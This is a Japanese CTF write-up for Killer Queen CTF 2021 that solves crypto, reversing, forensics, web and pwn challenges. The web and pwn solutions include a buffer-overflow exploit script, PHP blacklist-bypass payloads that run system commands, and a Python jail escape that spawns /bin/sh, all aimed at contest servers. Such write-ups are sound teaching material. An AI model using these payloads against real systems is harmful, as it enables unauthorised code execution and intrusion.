Killer Queen CTF 2021 Writeup

この大会は2021/10/29 23:00(JST)~2021/11/1 9:00(JST)に開催されました。
今回もチームで参戦。結果は5079点で251チーム中13位でした。
自分で解けた問題をWriteupとして書いておきます。

discord plz (forensics)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

kqctf{discord_>_irc_???}

Road Safety Association (crypto)

RSA暗号だが、p, qがわかっているので、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

c = 34709089913401150635163820358938916881993556790698827096314474131695180194656373592831158701400832173951061153349955626770351918715134102729180082310540500929299260384727841272328651482716425284903562937949838801126975821205390573428889205747236795476232421245684253455346750459684786949905537837807616524618
p = 7049378199874518503065880299491083072359644394572493724131509322075604915964637314839516681795279921095822776593514545854149110798068329888153907702700969
q = 11332855855499101423426736341398808093169269495239972781080892932533129603046914334311158344125602053367004567763440106361963142912346338848213535638676857
e = 65537

n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
kqctf{y0uv3_6r4du473d_fr0m_r54_3l3m3n74ry_5ch00l_ac8770bdcebc}

Obligatory Shark (forensics)

TELNETの通信がたくさんある。TCP Streamで見てみると、パスワードが以下になっている。

33a465747cb15e84a26564f57cda0988

これをCrackStationでクラックする。

dancingqueen
kqctf{dancingqueen}

Just Not My Type (web)

配列で渡し、比較を成り立つようにする。

$ curl http://143.198.184.186:7000/ -d "password[]=a"
<h1>I just don't think we're compatible</h1>

<br />
<b>Warning</b>:  strcasecmp() expects parameter 1 to be string, array given in <b>/var/www/html/index.php</b> on line <b>9</b><br />
flag{no_way!_i_took_the_flag_out_of_the_source_before_giving_it_to_you_how_is_this_possible}
<form method="POST">
    Password
    <input type="password" name="password">
    <input type="submit">
</form>
flag{no_way!_i_took_the_flag_out_of_the_source_before_giving_it_to_you_how_is_this_possible}

A Kind of Magic (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_38 [44];
  uint local_c;
  
  local_c = 0;
  puts("Is this a kind of magic? What is your magic?: ");
  fflush(stdout);
  fgets(local_38,0x40,stdin);
  printf("You entered %s\n",local_38);
  printf("Your magic is: %d\n",(ulong)local_c);
  fflush(stdout);
  if (local_c == 0x539) {
    puts("Whoa we got a magic man here!");
    fflush(stdout);
    system("cat flag.txt");
  }
  else {
    puts("You need to challenge the doors of time");
    fflush(stdout);
  }
  return 0;
}

BOFでlocal_cが0x539になるようにする。

from pwn import *

if len(sys.argv) == 1:
    p = remote('143.198.184.186', 5000)
else:
    p = process('./akindofmagic')

payload = 'A' * 44
payload += p64(0x539)

data = p.recvline().rstrip()
print data
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to 143.198.184.186 on port 5000: Done
Is this a kind of magic? What is your magic?:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9\x05\x00\x00\x00
You entered AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9\x05
Your magic is: 1337
flag{i_hope_its_still_cool_to_use_1337_for_no_reason}
[*] Closed connection to 143.198.184.186 port 5000
flag{i_hope_its_still_cool_to_use_1337_for_no_reason}

sneeki snek (rev)

PythonアセンブリからPythonコードに起こす。

#!/usr/bin/env python3

def func():
    f = ''
    a = 'rwhxi}eomr\\^`Y'
    z = 'f]XdThbQd^TYL&\x13g'
    a += z
    for i, b in enumerate(a):
        c = ord(b)
        c = c - 7
        c += i
        c = chr(c)
        f += c
    print(f)

func()関数を実行すると、フラグが表示された。

kqctf{dont_be_mean_to_snek_:(}

sneeki snek 2 oh no what did i do (rev)

PythonアセンブリからPythonコードに起こす。

#!/usr/bin/env python3

def func():
    a = []
    a.append(1739411)
    a.append(1762811)
    a.append(1794011)
    a.append(1039911)
    a.append(1061211)
    a.append(1718321)
    a.append(1773911)
    a.append(1006611)
    a.append(1516111)
    a.append(1739411)
    a.append(1582801)
    a.append(1506121)
    a.append(1783901)
    a.append(1783901)
    a.append(1773911)
    a.append(1582801)
    a.append(1006611)
    a.append(1561711)
    a.append(1039911)
    a.append(1582801)
    a.append(1773911)
    a.append(1561711)
    a.append(1582801)
    a.append(1773911)
    a.append(1006611)
    a.append(1516111)
    a.append(1516111)
    a.append(1739411)
    a.append(1728311)
    a.append(1539421)

    b = ''
    for i in a:
        c = str(i)[::-1]
        c = c[:-1]
        c = int(c)
        c = c ^ 5
        c = c - 55555
        c = c // 555
        b += chr(c)
    print(b)

func()関数を実行すると、フラグが表示された。

kqctf{snek_waas_not_so_sneeki}

PHat Pottomed Girls (web)

blacklistがあるが、3回リプレースしているだけ。

■「<<<<???? syssyssyssystemtemtemtem("ls -l /"); ????>>>>」を入力

total 420
drwxr-xr-x   1 root root   4096 Dec 11  2020 bin
drwxr-xr-x   2 root root   4096 Nov 22  2020 boot
drwxr-xr-x   5 root root    340 Oct 29 21:26 dev
drwxr-xr-x   1 root root   4096 Oct 29 21:26 etc
-rwxr-xr-x   1 root root     85 Oct 29 18:47 flag.php
drwxr-xr-x   2 root root   4096 Nov 22  2020 home
drwxr-xr-x   1 root root   4096 Dec 11  2020 lib
drwxr-xr-x   2 root root   4096 Dec  9  2020 lib64
drwxr-xr-x   2 root root   4096 Dec  9  2020 media
drwxr-xr-x   2 root root   4096 Dec  9  2020 mnt
drwxr-xr-x   2 root root   4096 Dec  9  2020 opt
dr-xr-xr-x 337 root root      0 Oct 29 21:26 proc
drwx------   1 root root   4096 Dec 11  2020 root
drwxr-xr-x   1 root root   4096 Dec 11  2020 run
drwxr-xr-x   1 root root   4096 Dec 11  2020 sbin
drwxr-xr-x   2 root root   4096 Dec  9  2020 srv
dr-xr-xr-x  13 root root      0 Oct 29 21:26 sys
drwxrwxrwt   1 root root 352256 Oct 29 22:57 tmp
drwxr-xr-x   1 root root   4096 Dec  9  2020 usr
drwxr-xr-x   1 root root   4096 Dec 11  2020 var

■「<<<<???? syssyssyssystemtemtemtem("cacacacatttt /flflflflagagagag.php"); ????>>>>」を入力

flag{wait_but_i_fixed_it_after_my_last_two_blunders_i_even_filtered_three_times_:(((}
flag{wait_but_i_fixed_it_after_my_last_two_blunders_i_even_filtered_three_times_:(((}

Cloudsourcing (crypto)

公開鍵を読み込み、nを素因数分解する。

n = p * q
p = 147763690849150867668225909469550433915451732812463057700984569348470253956194816406951574728889706783894785686020012100588052689320692584241194441102306664861087263417689874062764278453049583722940577602045732615047554285117930803297120866855129431558042684619199933145634615860792724440681809733506643143827
q = 175323579375439355271067762791797570532327618905238153569106939865810515426195444129569514172323381418275130113304584918382539461249836590401476762173083711488347557377316041604414956494612922763528717954203932654977534635925919801687408066965455169210358420975001566564559944039223342904162696905475355996899

あとはそのまま復号する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from base64 import b64decode

with open('key.pub', 'r') as f:
    pub_data = f.read()

with open('mystery.txt', 'r') as f:
    enc = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e
c = bytes_to_long(b64decode(enc))

p = 147763690849150867668225909469550433915451732812463057700984569348470253956194816406951574728889706783894785686020012100588052689320692584241194441102306664861087263417689874062764278453049583722940577602045732615047554285117930803297120866855129431558042684619199933145634615860792724440681809733506643143827
q = 175323579375439355271067762791797570532327618905238153569106939865810515426195444129569514172323381418275130113304584918382539461249836590401476762173083711488347557377316041604414956494612922763528717954203932654977534635925919801687408066965455169210358420975001566564559944039223342904162696905475355996899
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
index = flag.index('kqctf{')
flag = flag[index:]
print(flag)
kqctf{y0uv3_6r4du473d_fr0m_r54_m1ddl3_5ch00l_abe7e79e244a9686efc0}

Dupper Analytics (forensics)

動画を最後まで見たら、フラグが表示された。

kqctf{dupper_analytics_is_fantastic}

jazz (rev)

Bytecode Viewerでデコンパイルする。

import java.util.*;
import java.io.*;
public class challenge {
   public static void main(String[] args) throws FileNotFoundException {
      Scanner s = new Scanner(new BufferedReader(new FileReader("flag.txt")));
      String flag = s.nextLine();
      
      char[] r2 = flag.toCharArray();
      String build = "";
      for(int a = 0; a < r2.length; a++)
      {
         build += (char)(158 - r2[a]);
      }
      r2 = build.toCharArray();
      build = "";
      for(int a = 0; 2*a < r2.length - 1; a++)
      {
         build += (char)((2*r2[2*a]-r2[2*a+1]+153)%93+33);
         build += (char)((r2[2*a+1]-r2[2*a]+93)%93+33);
      }
      System.out.println(build);


      
      
   }
}

このコードの処理概要は以下の通り。

・build: フラグの各文字のASCIIコードを158から引いたものを文字にし、連結したもの
・buildを2文字ずつに分け、以下の処理を行う。
 ・1文字目:(char)((2*build[2*a]-build[2*a+1]+153)%93+33)
 ・2文字目:(char)((build[2*a+1]-build[2*a]+93)%93+33)

逆算していく必要があるが、2つ目の処理で方程式のようになっている。行列を使って解くこともできそうだが、計算が煩雑でなくなりそうなブルートフォースで解く。

enc = '9xLmMiI2znmPam\'D_A_1:RQ;Il\*7:%i".R<'

flag = ''
for i in range(0, len(enc), 2):
    found = False
    for x1 in range(158 - 126, 158 - 31):
        for x2 in range(158 - 126, 158 - 31):
            c1 = (2 * x1 - x2 + 153) % 93 + 33
            c2 = (x2 - x1 + 93) % 93 + 33
            if c1 == ord(enc[i]) and c2 == ord(enc[i+1]):
                found = True
                flag += chr(158 - x1) + chr(158 - x2)
                break
        if found:
            break

print flag
kqctf{D34D_0N_T1|\/|3_3vgy90N51Fob1s

最後に"}"がないので、付ける。

kqctf{D34D_0N_T1|\/|3_3vgy90N51Fob1s}

Deoxyencoded Nucleic Acid (crypto)

A, C, G, Tが'00', '01', '10', '11'であると推測する。

TGGC
TCAT
TGAC
TCTA
TGTG
TCGC
TGGT
TCTA
TCAC
TTCC
TGAG
TGAT
TCAC
TGGT
TGAC
TGAT
ACAT
ACAT
TCGT
TTCC
TGAG
TGAT
TCAC
TGTT
TTCC
TGTG
TGCC
TCTT
TCAG
TCCT

4文字ずつで区切ると、先頭はAかTなので、AとTは'00'または'01'、CとGは'10'または'11'。これを前提に復号する。

with open('dna1.txt', 'r') as f:
    msg = f.read().rstrip()

for a in ['00', '01']:
    for c in ['10', '11']:
        if a == '00':
            t = '01'
        else:
            t = '00'
        if c == '10':
            g = '11'
        else:
            g = '10'
        code = msg.replace('A', a)
        code = code.replace('C', c)
        code = code.replace('G', g)
        code = code.replace('T', t)
        flag = ''
        for i in range(0, len(code), 8):
            flag += chr(int(code[i:i+8], 2))
        if flag.startswith('kqctf{'):
            print flag
kqctf{its_basica11y_base_four}

I want to break free 2: electric boogaloo (pwn)

ブラックリストの文字列があるが分解して実行すればよい。

$ nc 143.198.184.186 45458

    You are in a maximum security prison. Can you escape?

> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sy'+'stem(\"/bin/sh\")')
ls
b49ddf352c9d2cdf7b9cf26dfeff15ad5336944e772b9d0190095be946fe8af9.txt
bin
blacklist.txt
boot
dev
etc
home
jail.py
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat b49ddf352c9d2cdf7b9cf26dfeff15ad5336944e772b9d0190095be946fe8af9.txt
kqctf{0h_h0w_1_w4n7_70_br34k_fr33_2398d89vj3nsoicifh3bdoq1b39049v}
kqctf{0h_h0w_1_w4n7_70_br34k_fr33_2398d89vj3nsoicifh3bdoq1b39049v}

Underscore in Corrupted (forensics)

XORでPNGのフォーマットになると想定して、鍵を算出する。その際わかっているデータを元に調整しながら、算出する。iCCPを使うことは分かったが、それ以上は推測の域を出ず、フラグを復元するのは実質不可能。ネット上で元データを探してみるが、見つからない。このCTFの他の問題で使えるものがないか探してみる。「Underscore in C」の問題に添付されているPNGがiCCPを使っているし、わかっているデータとも合っている。このデータを元にXOR鍵を求めると、フラグになった。

with open('ohno.png', 'rb') as f:
    data = f.read()

with open('Underscore_in_C.png', 'rb') as f:
    data2 = f.read()

flag = ''
for i in range(len(data)):
    flag += chr(ord(data[i]) ^ ord(data2[i]))

print flag
kqctf{y0u_r3c0v3r3d_my_m4573rp13c3!_1_c4n_m4k3_34r5_bl33d_4n07h3r_d4y.}

DigitalOcean (forensics)

動画をすべて見たら、フラグが表示された。

kqctf{digital_ocean_is_phenom3nal}